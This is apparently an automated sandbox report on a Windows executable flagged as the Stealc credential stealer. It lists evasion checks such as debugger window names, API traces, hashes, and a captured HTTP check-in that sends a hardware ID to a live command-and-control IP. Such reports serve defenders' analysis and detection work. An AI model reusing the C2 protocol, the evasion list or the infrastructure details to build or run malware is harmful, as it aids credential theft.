Source: file.exe, 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13467
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13470
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13489
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13481
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13521

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C345C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00C345C0

Source: C:\Users\user\Desktop\file.exe

0_2_00C49860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C49750 mov eax, dword ptr fs:[00000030h]

0_2_00C49750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C478E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00C478E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6800, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C49600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00C49600

Source: file.exe, 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00C47B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C47980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00C47980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C47850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00C47850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C47A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00C47A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2092431319.0000000005610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2092431319.0000000005610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37/e2b1563c6670f193.php;	file.exe, 00000000.00000002.2133666234.0000000001A34000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpK	file.exe, 00000000.00000002.2133666234.0000000001A34000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpXN	file.exe, 00000000.00000002.2133666234.0000000001A44000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.37/e2b1563c6670f193.php/	file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpw	file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520716
Start date and time:	2024-09-27 19:03:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, BitCoin Miner, SilentXMRMiner	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	kYpONUhAR5.exe	Get hash	malicious	RedLine	Browse	185.215.113.67
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946286584348621
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'858'048 bytes
MD5:	f413d695f62b9d29686880be5daedb80
SHA1:	5680fc5f5fd1689a5aa2d0682434b5c20f6784bc
SHA256:	5a8c2a4536f6c77609a753f916c001d169f7746b3cca7aee87ac4b0a2422ac03
SHA512:	7d896a69b7b261a8490eec5c9e5aa6274d05d030028c48d9f3132f00b2fad732308407a577a3a92421b754e2258f2f6d23e51a57b1cd84e306d954f5a34bfb49
SSDEEP:	49152:mC8SSnCXHsK7SjlHla8pNkZVyBgddi2dHX:NQKj1aNkZEBgd0
TLSH:	B285331139B3947EC75E2E3C70405B0733A64076825A6EBB598B6701BABE605FF1CDCA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0C5CCEBA6Ah
pabsb mm0, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0C5CCEDA65h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	dea6efae217044aadd9bf37319e8bb30	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a5000	0x200	043eff8a374d1134cbb9f1deacd08809	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cgvssnvn	0x503000	0x1a0000	0x19f600	4f4d3a7a26c6b21d3613be4c2e328d09	False	0.9948659202904002	data	7.9531873822886014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oemmexyc	0x6a3000	0x1000	0x600	98d5cb62e8efb319041136532ce28e1a	False	0.5455729166666666	data	4.821352105257357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a4000	0x3000	0x2200	077d3b80c09310c1089c2f00dd604797	False	0.059283088235294115	DOS executable (COM)	0.6045636863014441	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T19:04:09.324295+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 19:04:08.341994047 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 19:04:08.347012043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 19:04:08.347095013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 19:04:08.347240925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 19:04:08.351989985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 19:04:09.092248917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 19:04:09.092442036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 19:04:09.095781088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 19:04:09.100754976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 19:04:09.324174881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 19:04:09.324295044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 19:04:13.101089001 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 19:04:08.347240925 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 19:04:09.092248917 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 17:04:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 19:04:09.095781088 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 44 32 38 45 30 30 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="hwid"671FD28E00C93740105281------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="build"save------IEHCBAFIDAECBGCBFHJE--
Sep 27, 2024 19:04:09.324174881 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 17:04:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	13:04:04
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc30000
File size:	1'858'048 bytes
MD5 hash:	F413D695F62B9D29686880BE5DAEDB80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2092431319.0000000005610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00C49860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,019D07C8), ref: 00C498A1
GetProcAddress.KERNEL32(75900000,019D06D8), ref: 00C498BA
GetProcAddress.KERNEL32(75900000,019D07F8), ref: 00C498D2
GetProcAddress.KERNEL32(75900000,019D0660), ref: 00C498EA
GetProcAddress.KERNEL32(75900000,019D0750), ref: 00C49903
GetProcAddress.KERNEL32(75900000,019D8800), ref: 00C4991B
GetProcAddress.KERNEL32(75900000,019C6920), ref: 00C49933
GetProcAddress.KERNEL32(75900000,019C67E0), ref: 00C4994C
GetProcAddress.KERNEL32(75900000,019D05A0), ref: 00C49964
GetProcAddress.KERNEL32(75900000,019D0828), ref: 00C4997C
GetProcAddress.KERNEL32(75900000,019D0588), ref: 00C49995
GetProcAddress.KERNEL32(75900000,019D07B0), ref: 00C499AD
GetProcAddress.KERNEL32(75900000,019C66A0), ref: 00C499C5
GetProcAddress.KERNEL32(75900000,019D0720), ref: 00C499DE
GetProcAddress.KERNEL32(75900000,019D0690), ref: 00C499F6
GetProcAddress.KERNEL32(75900000,019C68A0), ref: 00C49A0E
GetProcAddress.KERNEL32(75900000,019D0630), ref: 00C49A27
GetProcAddress.KERNEL32(75900000,019D0570), ref: 00C49A3F
GetProcAddress.KERNEL32(75900000,019C66C0), ref: 00C49A57
GetProcAddress.KERNEL32(75900000,019D0678), ref: 00C49A70
GetProcAddress.KERNEL32(75900000,019C6800), ref: 00C49A88
LoadLibraryA.KERNEL32(019D0558,?,00C46A00), ref: 00C49A9A
LoadLibraryA.KERNEL32(019D06A8,?,00C46A00), ref: 00C49AAB
LoadLibraryA.KERNEL32(019D0768,?,00C46A00), ref: 00C49ABD
LoadLibraryA.KERNEL32(019D05B8,?,00C46A00), ref: 00C49ACF
LoadLibraryA.KERNEL32(019D06C0,?,00C46A00), ref: 00C49AE0
GetProcAddress.KERNEL32(75070000,019D06F0), ref: 00C49B02
GetProcAddress.KERNEL32(75FD0000,019D0780), ref: 00C49B23
GetProcAddress.KERNEL32(75FD0000,019D8EF8), ref: 00C49B3B
GetProcAddress.KERNEL32(75A50000,019D8F88), ref: 00C49B5D
GetProcAddress.KERNEL32(74E50000,019C6A20), ref: 00C49B7E
GetProcAddress.KERNEL32(76E80000,019D8930), ref: 00C49B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00C49BB6

Strings

NtQueryInformationProcess, xrefs: 00C49BAA

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
